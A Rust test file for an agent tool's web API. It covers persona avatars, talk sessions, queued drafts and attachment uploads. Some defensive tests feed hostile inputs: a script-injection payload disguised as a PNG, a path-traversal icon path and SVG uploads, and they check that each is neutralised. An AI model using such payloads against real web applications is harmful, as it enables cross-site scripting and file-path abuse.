14044 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14045 let big = dir.path().join("big.png");
14046 let mut bytes = tiny_png();
14047 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14048 std::fs::write(&big, bytes).unwrap();
14049 let missing = dir.path().join("missing.png");
14050 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14051 let extra = format!(
14052 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14053 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14054 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14055 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14056 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14057 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14058 uri(&good),
14059 uri(&spoof),
14060 uri(&big),
14061 uri(&missing),
14062 );
14063 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14064
14065 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14066 assert_eq!(
14067 (status, ct.as_str(), nosniff),
14068 (StatusCode::OK, "image/png", true)
14069 );
14070 assert_eq!(body, tiny_png());
14071 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14072 assert_eq!(ct, "image/png", "data URI");
14073
14074 for p in ["misato", "asuka", "shinji", "magi"] {
14075 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14076 assert_eq!(
14077 (status, ct.as_str(), csp),
14078 (StatusCode::OK, "image/svg+xml", true),
14079 "{p}"
14080 );
14081 assert!(body.starts_with(b"<svg"), "{p}");
14082 }
14083 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14085 assert_eq!(ct, "image/svg+xml");
14086 }
14087
14088 #[tokio::test]
14089 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14090 let oversized = format!(
14091 "data:image/png;base64,{}",
14092 "A".repeat(persona_icon::ICON_MAX_BYTES)
14093 );
14094 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14095 let extra = format!(
14096 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14097 );
14098 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14099 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14100 .await
14101 .expect("detail with invalid icon");
14102 assert!(detail.personas.iter().any(|p| p.id == "custom"));
14103 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14104 assert_eq!(status, StatusCode::OK);
14105 assert_eq!(ct, "image/svg+xml");
14106 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14107 let Json(view) = talk_persona(
14108 State(Arc::clone(&ui)),
14109 Path(id.clone()),
14110 Json(TalkPersona {
14111 persona: "custom".into(),
14112 }),
14113 )
14114 .await
14115 .expect("persona switch with invalid icon");
14116 assert_eq!(view.talk.persona, "custom");
14117 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14118 }
14119 }
14120
14121 #[tokio::test]
14122 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14123 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14124 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14125 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14126 assert_eq!(
14127 (status, ct.as_str(), nosniff, csp),
14128 (StatusCode::OK, "image/svg+xml", true, true)
14129 );
14130 }
14131
14132 #[tokio::test]
14133 async fn the_talk_view_carries_server_built_avatar_urls_only() {
14134 let (_t, _h, ui, id, _repo) =
14135 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14136 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14137 .await
14138 .expect("detail");
14139 let json = serde_json::to_string(&detail).unwrap();
14140 assert!(
14141 !json.contains("secret"),
14142 "the icon setting must not leak: {json}"
14143 );
14144 assert!(
14145 detail
14146 .view
14147 .persona_avatar
14148 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14149 );
14150 assert_eq!(
14151 detail.view.operator_avatar,
14152 format!(
14153 "/avatars/operator.svg?v={}",
14154 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14155 )
14156 );
14157 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14158 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14159 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14160 assert!(rei.avatar.contains("persona=rei&v="));
14161 assert_ne!(
14162 rei.avatar.split("&v=").nth(1),
14163 plain.avatar.split("&v=").nth(1)
14164 );
14165 }
14166
14167 #[tokio::test]
14168 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14169 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14170 let cfg = config_for(&repo).await.unwrap();
14171 for arrived in [false, true] {
14172 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14173 let observed = ui.queued_generation(&id);
14174 let talk = ui.talks.get(&id).unwrap();
14175 if arrived {
14176 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14177 }
14178 let mut settling = std::pin::pin!(settle_settings_turn(
14179 talk,
14180 ui.talks.clone(),
14181 cfg.clone(),
14182 id.clone(),
14183 turn,
14184 observed
14185 ));
14186 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14187 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14188 assert_eq!(first.is_pending(), arrived);
14189 if arrived {
14190 assert!(!settling.await);
14191 }
14192 assert!(!ui.is_thinking(&id));
14193 }
14194 }
14195
14196 #[tokio::test]
14197 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14198 let tmp = TempDir::new().expect("tempdir");
14199 let repo = tmp.path().join("repo");
14200 std::fs::create_dir_all(&repo).expect("repo dir");
14201 std::fs::write(
14202 repo.join("magi.toml"),
14203 format!(
14204 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14205 ),
14206 )
14207 .expect("write magi.toml");
14208 let home = TempDir::new().expect("temp home");
14209 let talks = Talks::at(home.path().join("talks"));
14210 let ui = Arc::new(
14211 Ui::new(
14212 Queue::at(home.path().join("queue")),
14213 Questions::at(home.path().join("questions")),
14214 talks.clone(),
14215 home.path().join("runs"),
14216 home.path().to_path_buf(),
14217 repo.clone(),
14218 )
14219 .with_worktrees_root(home.path().join("wt")),
14220 );
14221 let cfg = config_for(&repo).await.expect("discover config");
14222 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14223 let id = talk.id.clone();
14224 let call = |persona: &str| {
14225 talk_persona(
14226 State(Arc::clone(&ui)),
14227 Path(id.clone()),
14228 Json(TalkPersona {
14229 persona: persona.to_owned(),
14230 }),
14231 )
14232 };
14233
14234 let unknown = call("nobody").await.expect_err("unknown persona");
14235 assert_eq!(
14236 unknown.status,
14237 StatusCode::BAD_REQUEST,
14238 "{}",
14239 unknown.message
14240 );
14241
14242 {
14243 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14246 let busy = call("rei").await.expect_err("busy talk");
14247 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14248 assert!(
14249 busy.message.contains("a talk turn is running"),
14250 "{}",
14251 busy.message
14252 );
14253 drop(guard);
14254 }
14255 assert_eq!(talks.get(&id).expect("reload").persona, "");
14256
14257 let Json(view) = call("gendo").await.expect("switch to a configured persona");
14258 assert_eq!(view.talk.persona, "gendo");
14259 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14260 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14261 for chosen in ["default", "gendo", "rei", "gendo"] {
14263 let Json(view) = call(chosen).await.expect("immediate consecutive change");
14264 assert!(!view.thinking);
14265 assert!(!ui.is_thinking(&id));
14266 }
14267
14268 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14269 .await
14270 .expect("detail");
14271 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14272 assert_eq!(ids.first(), Some(&"default"));
14273 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14274
14275 let Json(view) = call("default").await.expect("back to default");
14276 assert_eq!(view.talk.persona, "");
14277
14278 let mut closed = talks.get(&id).expect("reload");
14279 talk::close(&mut closed, &talks).expect("close");
14280 let refused = call("rei").await.expect_err("closed talk");
14281 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14282 assert!(
14283 refused.message.contains("takes no more turns"),
14284 "{}",
14285 refused.message
14286 );
14287 }
14288
14289 #[tokio::test]
14290 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14291 let f = Fixture::start().await;
14292 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14293 let queue = f.queue();
14294 let mut mine = Task::new(
14295 "rename the loader".to_owned(),
14296 "rename the loader".to_owned(),
14297 PathBuf::from("/repo/magi"),
14298 Source::Agent {
14299 run: talk_id.clone(),
14300 node: "chat".to_owned(),
14301 },
14302 );
14303 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14304 assert_eq!(empty["task_progress"]["state"], "none");
14305 assert_eq!(empty["task_progress"]["total"], 0);
14306 queue.put(&mut mine).expect("file the task");
14307 let mut theirs = Task::new(
14308 "unrelated".to_owned(),
14309 "unrelated".to_owned(),
14310 PathBuf::from("/repo/magi"),
14311 Source::Human,
14312 );
14313 theirs.origin_chat = Some(talk_id.clone());
14315 queue.put(&mut theirs).expect("file the task");
14316
14317 let res = f.get(&format!("/api/talks/{talk_id}")).await;
14318 assert_eq!(res.status, 200, "{}", res.body);
14319 let body = res.json();
14320 assert_eq!(
14321 body["status"], "open",
14322 "filing a task does not close a talk"
14323 );
14324 let tasks = body["tasks"].as_array().expect("tasks array");
14325 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
14326 assert_eq!(tasks[0]["id"], mine.id);
14327 for status in [
14328 TaskStatus::Queued,
14329 TaskStatus::Running,
14330 TaskStatus::Held,
14331 TaskStatus::Failed,
14332 TaskStatus::Blocked,
14333 TaskStatus::Parked,
14334 TaskStatus::Done,
14335 TaskStatus::Queued,
14336 ] {
14337 mine.status = status;
14338 queue.put(&mut mine).expect("update status");
14339 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14340 let progress = &detail["task_progress"];
14341 assert_eq!(progress["total"], 1);
14342 assert_eq!(progress["counts"][status.as_str()], 1);
14343 assert_eq!(detail["tasks"][0]["status"], status.as_str());
14344 assert_eq!(detail["status"], "open", "completion never closes the chat");
14345 if status == TaskStatus::Done {
14346 assert_eq!(progress["state"], "complete");
14347 assert_eq!(progress["done"], 1);
14348 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14349 } else {
14350 assert_eq!(progress["state"], "incomplete");
14351 assert_eq!(progress["done"], 0);
14352 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14353 }
14354 }
14355 }
14356
14357 #[test]
14358 fn talk_task_progress_counts_mixed_statuses() {
14359 let mut tasks: Vec<_> = [
14360 TaskStatus::Queued,
14361 TaskStatus::Running,
14362 TaskStatus::Held,
14363 TaskStatus::Failed,
14364 TaskStatus::Blocked,
14365 TaskStatus::Parked,
14366 TaskStatus::Done,
14367 ]
14368 .into_iter()
14369 .map(|status| {
14370 let mut task = Task::new(
14371 "task".into(),
14372 "task".into(),
14373 PathBuf::from("/repo"),
14374 Source::Human,
14375 );
14376 task.status = status;
14377 task
14378 })
14379 .collect();
14380 let progress = talk_task_progress(&tasks);
14381 assert_eq!(progress.state, "incomplete");
14382 assert_eq!(progress.total, 7);
14383 assert_eq!(progress.done, 1);
14384 assert_eq!(progress.unfinished_ids.len(), 6);
14385 assert!(progress.counts.values().all(|count| *count == 1));
14386 assert_eq!(
14387 progress.unfinished_ids,
14388 tasks[..6]
14389 .iter()
14390 .map(|task| task.id.clone())
14391 .collect::<Vec<_>>()
14392 );
14393
14394 for task in &mut tasks {
14395 task.status = TaskStatus::Done;
14396 }
14397 let complete = talk_task_progress(&tasks);
14398 assert_eq!(complete.state, "complete");
14399 assert_eq!(complete.done, 7);
14400 assert!(complete.unfinished_ids.is_empty());
14401 tasks[0].status = TaskStatus::Queued;
14402 let requeued = talk_task_progress(&tasks);
14403 assert_eq!(requeued.state, "incomplete");
14404 assert_eq!(requeued.done, 6);
14405 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14406
14407 let empty = talk_task_progress(&[]);
14408 assert_eq!(empty.state, "none");
14409 assert_eq!(empty.total, 0);
14410 assert_eq!(empty.done, 0);
14411 assert!(empty.unfinished_ids.is_empty());
14412 assert!(empty.counts.values().all(|count| *count == 0));
14413 }
14414
14415 #[tokio::test]
14416 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14417 let (_tmp, _repo, f) = talk_fixture().await;
14418 let id = f.post("/api/talks", None).await.json()["id"]
14419 .as_str()
14420 .expect("id")
14421 .to_owned();
14422
14423 let res = f
14424 .post(
14425 &format!("/api/talks/{id}/say"),
14426 Some(r#"{"text":"what does the queue module do?"}"#),
14427 )
14428 .await;
14429 assert_eq!(res.status, 202, "{}", res.body);
14430 let queued = res.json();
14431 let turns = queued["turns"].as_array().expect("turns array");
14432 assert_eq!(
14433 turns.len(),
14434 1,
14435 "the answer reflects only what is on disk the instant it is sent, \
14436 before the agent's turn - which can run for the whole of \
14437 `[graph] timeout_talk` - has a chance to land: {queued}"
14438 );
14439 assert_eq!(turns[0]["who"], "operator");
14440 assert_eq!(turns[0]["body"], "what does the queue module do?");
14441 assert_eq!(
14442 queued["thinking"], true,
14443 "the accepted response exposes the background turn claim: {queued}"
14444 );
14445
14446 let mut turns_after = 1;
14447 for _ in 0..SETTLE_STEPS {
14448 let detail = f.get(&format!("/api/talks/{id}")).await.json();
14449 turns_after = detail["turns"].as_array().expect("turns array").len();
14450 if turns_after == 2 {
14451 break;
14452 }
14453 tokio::time::sleep(Duration::from_millis(10)).await;
14454 }
14455 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14456 }
14457
14458 #[tokio::test]
14485 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14486 let tmp = TempDir::new().expect("tempdir");
14487 let repo = tmp.path().join("repo");
14488 std::fs::create_dir_all(&repo).expect("repo dir");
14489 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14490 let home = TempDir::new().expect("temp home");
14491 let talks = Talks::at(home.path().join("talks"));
14492 let ui = Arc::new(
14493 Ui::new(
14494 Queue::at(home.path().join("queue")),
14495 Questions::at(home.path().join("questions")),
14496 talks.clone(),
14497 home.path().join("runs"),
14498 home.path().to_path_buf(),
14499 repo.clone(),
14500 )
14501 .with_worktrees_root(home.path().join("wt")),
14502 );
14503 let cfg = config_for(&repo).await.expect("discover config");
14504
14505 for delay in 0..40u32 {
14506 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14507 let id = talk.id.clone();
14508
14509 let handler = tokio::spawn(talk_say(
14510 State(Arc::clone(&ui)),
14511 Path(id.clone()),
14512 Ok(Json(NewTalkTurn {
14513 reply_to: None,
14514 text: "what does the queue module do?".to_owned(),
14515 attachments: Vec::new(),
14516 })),
14517 ));
14518 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14519 handler.abort();
14520 let _ = handler.await;
14523
14524 let mut turns = 0;
14525 for _ in 0..SETTLE_STEPS {
14526 if let Ok(fresh) = talks.get(&id) {
14527 turns = fresh.turns.len();
14528 if turns != 1 {
14529 break;
14530 }
14531 }
14532 tokio::time::sleep(Duration::from_millis(10)).await;
14533 }
14534 assert_ne!(
14535 turns, 1,
14536 "delay {delay}: talk {id} recorded the operator's turn but \
14537 the agent never answered - the reply task was never \
14538 started after the handler future was dropped"
14539 );
14540 }
14541 }
14542
14543 #[tokio::test]
14588 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14589 let tmp = TempDir::new().expect("tempdir");
14590 let repo = tmp.path().join("repo");
14591 std::fs::create_dir_all(&repo).expect("repo dir");
14592 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14593 let home = TempDir::new().expect("temp home");
14594 let talks = Talks::at(home.path().join("talks"));
14595 let ui = Arc::new(
14596 Ui::new(
14597 Queue::at(home.path().join("queue")),
14598 Questions::at(home.path().join("questions")),
14599 talks.clone(),
14600 home.path().join("runs"),
14601 home.path().to_path_buf(),
14602 repo.clone(),
14603 )
14604 .with_worktrees_root(home.path().join("wt")),
14605 );
14606 let cfg = config_for(&repo).await.expect("discover config");
14607
14608 for attempt in 0..3u32 {
14609 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14610 let id = talk.id.clone();
14611 let turn_guard = ui
14614 .begin_talk_turn(&id)
14615 .expect("claim the turn")
14616 .expect("a fresh talk owes nobody a turn");
14617
14618 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
14619 let (release_tx, release_rx) = std::sync::mpsc::channel();
14620 ui.set_busy_queue_gate(BusyQueueGate {
14621 reached: reached_tx,
14622 release: release_rx,
14623 });
14624
14625 let handler = tokio::spawn(talk_say(
14626 State(Arc::clone(&ui)),
14627 Path(id.clone()),
14628 Ok(Json(NewTalkTurn {
14629 reply_to: None,
14630 text: "what does the queue module do?".to_owned(),
14631 attachments: Vec::new(),
14632 })),
14633 ));
14634
14635 tokio::time::timeout(Duration::from_secs(5), reached_rx)
14640 .await
14641 .unwrap_or_else(|_| {
14642 panic!(
14643 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
14644 )
14645 })
14646 .expect("the busy branch dropped the gate without using it");
14647
14648 let running = talks.get(&id).expect("reload talk");
14655 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
14656
14657 handler.abort();
14661 let _ = handler.await;
14662
14663 let _ = release_tx.send(());
14669
14670 let mut fresh = talks.get(&id).expect("reload talk");
14673 for _ in 0..SETTLE_STEPS {
14674 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
14675 break;
14676 }
14677 tokio::time::sleep(Duration::from_millis(10)).await;
14678 fresh = talks.get(&id).expect("reload talk");
14679 }
14680 assert!(
14681 fresh.pending.is_empty() && fresh.turns.len() == 2,
14682 "attempt {attempt}: talk {id} left the operator's text queued \
14683 with no drainer - the reclaimed turn was dropped along with \
14684 the handler future (pending {:?}, {} turns)",
14685 fresh.pending,
14686 fresh.turns.len()
14687 );
14688 }
14689 }
14690
14691 #[tokio::test]
14692 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
14693 let (_tmp, _repo, f) = talk_fixture().await;
14694 let id = f.post("/api/talks", None).await.json()["id"]
14695 .as_str()
14696 .expect("id")
14697 .to_owned();
14698 let store = f.talks();
14699 let mut recovered = store.get(&id).expect("opened talk");
14700 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14701 .expect("persist pending draft without a live turn");
14702
14703 let edited = f
14704 .post(
14705 &format!("/api/talks/{id}/pending/edit"),
14706 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
14707 )
14708 .await;
14709 assert_eq!(edited.status, 200, "{}", edited.body);
14710 assert!(edited.json()["thinking"].as_bool().unwrap());
14711
14712 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
14713 for _ in 0..SETTLE_STEPS {
14714 if detail["turns"].as_array().expect("turns").len() == 2 {
14715 break;
14716 }
14717 tokio::time::sleep(Duration::from_millis(10)).await;
14718 detail = f.get(&format!("/api/talks/{id}")).await.json();
14719 }
14720 let turns = detail["turns"].as_array().expect("turns");
14721 assert_eq!(
14722 turns.len(),
14723 2,
14724 "the recovered draft must run once: {detail}"
14725 );
14726 assert_eq!(turns[0]["body"], "corrected");
14727 assert_eq!(detail["pending"], "");
14728 }
14729
14730 #[tokio::test]
14731 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
14732 let tmp = TempDir::new().expect("tempdir");
14733 let repo = tmp.path().join("repo");
14734 std::fs::create_dir_all(&repo).expect("repo dir");
14735 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14736 let f = Fixture::with_repo(repo).await;
14737 let id = f.post("/api/talks", None).await.json()["id"]
14738 .as_str()
14739 .expect("id")
14740 .to_owned();
14741 let store = f.talks();
14742 let mut recovered = store.get(&id).expect("opened talk");
14743 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14744 .expect("persist pending draft without a live turn");
14745
14746 let refused = f
14747 .post(
14748 &format!("/api/talks/{id}/say"),
14749 Some(r#"{"text":"new message"}"#),
14750 )
14751 .await;
14752 assert_eq!(refused.status, 409, "{}", refused.body);
14753 assert!(refused.body.contains("resume"), "{}", refused.body);
14754 let saved = store.get(&id).expect("draft remains after refusal");
14755 assert!(saved.turns.is_empty());
14756 assert_eq!(saved.pending, "saved before restart");
14757
14758 let say_path = format!("/api/talks/{id}/say");
14759 let (first, second) = tokio::join!(
14760 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
14761 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
14762 );
14763 assert_eq!(first.status, 409, "{}", first.body);
14764 assert_eq!(second.status, 409, "{}", second.body);
14765 let saved = store
14766 .get(&id)
14767 .expect("draft remains after concurrent refusals");
14768 assert!(saved.turns.is_empty());
14769 assert_eq!(saved.pending, "saved before restart");
14770
14771 let resumed = f
14772 .post(&format!("/api/talks/{id}/pending/resume"), None)
14773 .await;
14774 assert_eq!(resumed.status, 202, "{}", resumed.body);
14775 let duplicate = f
14776 .post(&format!("/api/talks/{id}/pending/resume"), None)
14777 .await;
14778 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
14779
14780 for _ in 0..SETTLE_STEPS {
14781 if store.get(&id).expect("talk").turns.len() == 2 {
14782 break;
14783 }
14784 tokio::time::sleep(Duration::from_millis(10)).await;
14785 }
14786 let finished = store.get(&id).expect("finished talk");
14787 assert_eq!(finished.turns.len(), 2, "{finished:?}");
14788 assert_eq!(finished.turns[0].body, "saved before restart");
14789 assert!(finished.pending.is_empty());
14790 }
14791
14792 #[tokio::test]
14793 async fn an_image_only_recovered_draft_resumes_without_text() {
14794 let (_tmp, _repo, f) = talk_fixture().await;
14795 let id = f.post("/api/talks", None).await.json()["id"]
14796 .as_str()
14797 .expect("id")
14798 .to_owned();
14799 let uploaded = f
14800 .post_bytes(
14801 &format!("/api/talks/{id}/attachments"),
14802 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
14803 PNG_BYTES,
14804 )
14805 .await;
14806 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
14807 let attachment = f
14808 .talks()
14809 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
14810 .expect("attachment metadata")
14811 .expect("stored attachment");
14812 let store = f.talks();
14813 let mut recovered = store.get(&id).expect("opened talk");
14814 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
14815
14816 let resumed = f
14817 .post(&format!("/api/talks/{id}/pending/resume"), None)
14818 .await;
14819 assert_eq!(resumed.status, 202, "{}", resumed.body);
14820 for _ in 0..SETTLE_STEPS {
14821 if store.get(&id).expect("talk").turns.len() == 2 {
14822 break;
14823 }
14824 tokio::time::sleep(Duration::from_millis(10)).await;
14825 }
14826 let finished = store.get(&id).expect("finished talk");
14827 assert_eq!(finished.turns.len(), 2, "{finished:?}");
14828 assert!(finished.turns[0].body.is_empty());
14829 assert_eq!(finished.turns[0].attachments.len(), 1);
14830 assert!(finished.pending_attachments.is_empty());
14831 }
14832
14833 #[tokio::test]
14834 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
14835 let (_tmp, _repo, f) = talk_fixture().await;
14836 let id = f.post("/api/talks", None).await.json()["id"]
14837 .as_str()
14838 .expect("id")
14839 .to_owned();
14840 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14841 assert_eq!(closed.status, 200, "{}", closed.body);
14842 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14843 .expect("serialize closed talk");
14844 for (path, body) in [
14845 (format!("/api/talks/{id}/pending/resume"), None),
14846 (
14847 format!("/api/talks/{id}/pending/clear"),
14848 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
14849 ),
14850 (
14851 format!("/api/talks/{id}/pending/edit"),
14852 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
14853 ),
14854 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
14855 ] {
14856 let response = f.post(&path, body).await;
14857 assert_eq!(response.status, 409, "{}", response.body);
14858 }
14859 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14860 .expect("serialize closed talk");
14861 assert_eq!(
14862 after_clear, before_clear,
14863 "clear must not rewrite a closed talk"
14864 );
14865 }
14866
14867 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
14870
14871 #[tokio::test]
14872 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
14873 let tmp = TempDir::new().expect("tempdir");
14874 let repo = tmp.path().join("repo");
14875 std::fs::create_dir_all(&repo).expect("repo dir");
14876 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14877 let f = Fixture::with_repo(repo).await;
14878 let id_a = f.post("/api/talks", None).await.json()["id"]
14879 .as_str()
14880 .unwrap()
14881 .to_owned();
14882 let id_b = f.post("/api/talks", None).await.json()["id"]
14883 .as_str()
14884 .unwrap()
14885 .to_owned();
14886
14887 let a = f
14888 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
14889 .await;
14890 assert_eq!(a.status, 202, "{}", a.body);
14891 assert_eq!(a.json()["thinking"], true);
14892 let b = f
14893 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
14894 .await;
14895 assert_eq!(b.status, 202, "{}", b.body);
14896 assert_eq!(b.json()["thinking"], true);
14897
14898 let listed = f.get("/api/talks").await.json();
14899 for id in [&id_a, &id_b] {
14900 let view = listed
14901 .as_array()
14902 .unwrap()
14903 .iter()
14904 .find(|talk| talk["id"] == *id)
14905 .unwrap();
14906 assert_eq!(view["thinking"], true, "{listed}");
14907 }
14908 let repeated = f
14909 .post(
14910 &format!("/api/talks/{id_a}/say"),
14911 Some(r#"{"text":"again"}"#),
14912 )
14913 .await;
14914 assert_eq!(repeated.status, 202, "{}", repeated.body);
14915 assert_eq!(repeated.json()["pending"], "again");
14916 }
14917
14918 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
14921
14922 #[tokio::test]
14923 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
14924 let f = Fixture::start().await;
14925 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
14926
14927 let res = f
14928 .post_bytes(
14929 &format!("/api/talks/{id}/attachments"),
14930 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
14931 PNG_BYTES,
14932 )
14933 .await;
14934 assert_eq!(res.status, 201, "{}", res.body);
14935 let body = res.json();
14936 assert_eq!(body["name"], "shot.png");
14937 assert_eq!(body["mime"], "image/png");
14938 assert_eq!(body["bytes"], PNG_BYTES.len());
14939 let att_id = body["id"].as_str().expect("id").to_owned();
14940 assert_eq!(
14941 att_id.len(),
14942 32,
14943 "the id must never be a client-suppliable path: {att_id}"
14944 );
14945
14946 let got = f
14947 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
14948 .await;
14949 assert_eq!(got.status, 200, "{}", got.body);
14950 assert_eq!(got.header("content-type"), Some("image/png"));
14951 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
14952 assert_eq!(got.bytes, PNG_BYTES);
14953 }
14954
14955 #[tokio::test]
14956 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
14957 let f = Fixture::start().await;
14958 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
14959
14960 let svg = f
14963 .post_bytes(
14964 &format!("/api/talks/{id}/attachments"),
14965 &[("Content-Type", "image/svg+xml")],
14966 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
14967 )
14968 .await;
14969 assert!(
14970 (400..500).contains(&svg.status),
14971 "svg must be refused: {} {}",
14972 svg.status,
14973 svg.body
14974 );
14975 assert!(svg.body.contains("SVG"), "{}", svg.body);
14976
14977 let text = f
14978 .post_bytes(
14979 &format!("/api/talks/{id}/attachments"),
14980 &[("Content-Type", "text/plain")],
14981 b"just some text",
14982 )
14983 .await;
14984 assert!(
14985 (400..500).contains(&text.status),
14986 "an unlisted type must be refused: {} {}",
14987 text.status,
14988 text.body
14989 );
14990
14991 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
14994 let big = f
14995 .post_bytes(
14996 &format!("/api/talks/{id}/attachments"),
14997 &[("Content-Type", "image/png")],
14998 &oversized,
14999 )
15000 .await;
15001 assert_eq!(
15002 big.status,
15003 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15004 "{}",
15005 big.body
15006 );
15007 }
15008
15009 #[tokio::test]
